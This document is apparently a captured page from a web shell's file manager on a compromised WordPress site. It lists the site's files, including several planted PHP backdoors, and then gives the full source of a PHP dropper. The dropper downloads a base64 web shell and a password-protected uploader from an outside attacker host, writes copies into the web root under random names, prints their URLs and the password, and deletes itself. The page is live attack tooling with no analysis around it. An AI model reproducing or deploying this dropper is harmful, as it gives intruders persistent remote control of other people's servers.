Gecko [ georgetownmover.com ]

Name	Size	Permission	Date
.acme.sh	[ DIR ]	drwxr-x---	2024-11-21 14:21
.ncftp	[ DIR ]	drwxr-xr-x	2024-12-01 15:40
.softaculous	[ DIR ]	drwx--x--x	2024-11-26 06:16
.spamassassin	[ DIR ]	drwx------	2026-03-20 19:19
.tmb	[ DIR ]	drwxrwxrwx	2025-07-17 09:56
.trash	[ DIR ]	drwxr-xr-x	2024-12-01 16:22
.webuzo	[ DIR ]	drwxrwx---	2025-04-07 11:43
.webuzo-tmp	[ DIR ]	drwxr-xr-x	2025-02-25 07:01
mail	[ DIR ]	drwxr-xr-x	2026-04-20 07:11
public_html	[ DIR ]	drwxr-xr-x	2026-04-25 05:28
ssl	[ DIR ]	drwx------	2026-04-20 07:11
tmp	[ DIR ]	drwxr-xr-x	2026-04-20 07:11
wp-admin	[ DIR ]	drwxr-xr-x	2026-04-20 07:11
wp-content	[ DIR ]	drwxr-xr-x	2026-04-20 07:11
wp-includes	[ DIR ]	drwxr-xr-x	2026-04-20 07:11
www	[ DIR ]	drwxr-xr-x	2026-04-25 05:28
.ftpquota	0 B	-rw-------	2026-04-26 11:43
.htaccess	442 B	-rw-------	2026-03-04 12:44
.htaccess.bak	903 B	-rw-r--r--	2026-02-25 20:22
BDKR.txt	52 B	-rw-r--r--	2026-04-20 19:15
BDKR28WP.php	23.18 KB	-rw-r--r--	2026-04-20 19:15
BDKR28_lx2btujk.php	23.18 KB	-rw-r--r--	2026-04-20 19:15
error.php	34.48 KB	-rw-r--r--	2026-04-20 19:06
error_log	52.38 MB	-rw-r--r--	2026-04-26 09:07
googlec15ea9ff1553fd6c.html	53 B	-rw-r--r--	2026-03-05 03:41
index.php	77.3 KB	-rw-r--r--	2024-11-23 13:11
license.txt	19.44 KB	-rw-r--r--	2025-12-03 17:22
media-content.php	84.06 KB	-rw-r--r--	2026-03-02 23:16
mskbdwddbw.php	2.06 KB	-rw-r--r--	2026-04-19 08:33
pmgpwm9g.php	1.11 KB	-rw-r--r--	2026-04-20 19:15
wp-activate.php	7.18 KB	-rw-r--r--	2025-12-03 17:22
wp-blog-header.php	351 B	-rw-r--r--	2024-11-23 13:11
wp-comments-post.php	2.27 KB	-rw-r--r--	2024-11-23 13:11
wp-config-sample.php	3.26 KB	-rw-r--r--	2025-12-03 17:22
wp-config.php	3.45 KB	-rw-r--r--	2025-06-23 02:55
wp-cron.php	5.49 KB	-rw-r--r--	2024-11-23 13:11
wp-links-opml.php	2.43 KB	-rw-r--r--	2025-12-03 17:22
wp-load.php	3.84 KB	-rw-r--r--	2024-11-23 13:11
wp-login.php	50.23 KB	-rw-r--r--	2025-12-03 17:22
wp-mail.php	8.52 KB	-rw-r--r--	2025-12-03 17:22
wp-settings.php	30.33 KB	-rw-r--r--	2025-12-03 17:22
wp-signup.php	33.71 KB	-rw-r--r--	2025-04-16 13:15
wp-trackback.php	5.09 KB	-rw-r--r--	2025-12-03 17:22
xmlrpc.php	3.13 KB	-rw-r--r--	2025-04-16 13:15

Rename

<?php
# 383634
$shell_encrypted = curl('https://bdkar.top/shl/fox-bdkr-shel.txt');
$shell = base64_decode($shell_encrypted);
$link = str_replace(basename(__FILE__), '', 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']);
$file1_name = mt_rand_str(8); // Generate random name for shell
$file1 = 'BDKR28_' . $file1_name . '.php';
$file2_name = mt_rand_str(8); // Generate random name for uploader
$file2 = $file2_name . '.php';
$password = mt_rand_str(4);
$save = fopen($file1, 'w');
fwrite($save, $shell);
fclose($save);
$root_save = fopen($_SERVER['DOCUMENT_ROOT'] . '/BDKR28WP.php', 'w');
fwrite($root_save, $shell);
fclose($root_save);
$uploader = curl('https://bdkar.top/shl/uploader-pass.txt');
$uploader = str_replace('RANDOM_PASSWORD', $password, $uploader);
$save = fopen($file2, 'w');
fwrite($save, $uploader);
fclose($save);
$txt_url = "https://bdkar.top/shl/bdkr.txt";
$txt_content = curl($txt_url);
$txt_file = fopen("BDKR.txt", "w");
fwrite($txt_file, $txt_content);
fclose($txt_file);
function mt_rand_str($l, $c = 'abcdefghijklmnopqrstuvwxyz1234567890') {
 for ($s = '', $cl = strlen($c) - 1, $i = 0; $i < $l; $s .= $c[mt_rand(0, $cl)], ++$i);
 return $s;
}
function curl($url) {
 $html = file_get_contents($url);
 if (!empty($html)) {
 return $html;
 }
 $curl = curl_init();
 curl_setopt($curl, CURLOPT_TIMEOUT, 40);
 curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
 curl_setopt($curl, CURLOPT_URL, $url);
 curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0");
 curl_setopt($curl, CURLOPT_FOLLOWLOCATION, TRUE);
 if (stristr($url, "https://")) {
 curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
 curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
 }
 curl_setopt($curl, CURLOPT_HEADER, false);
 return curl_exec($curl);
}
?>
<shell><center> Shell : <?php echo $link . $file1; ?></center> </shell>
<up><center> Up : <?php echo $link . $file2 . '?BDKR28=' . $password; ?></center> </up>
<?php
unlink(__FILE__);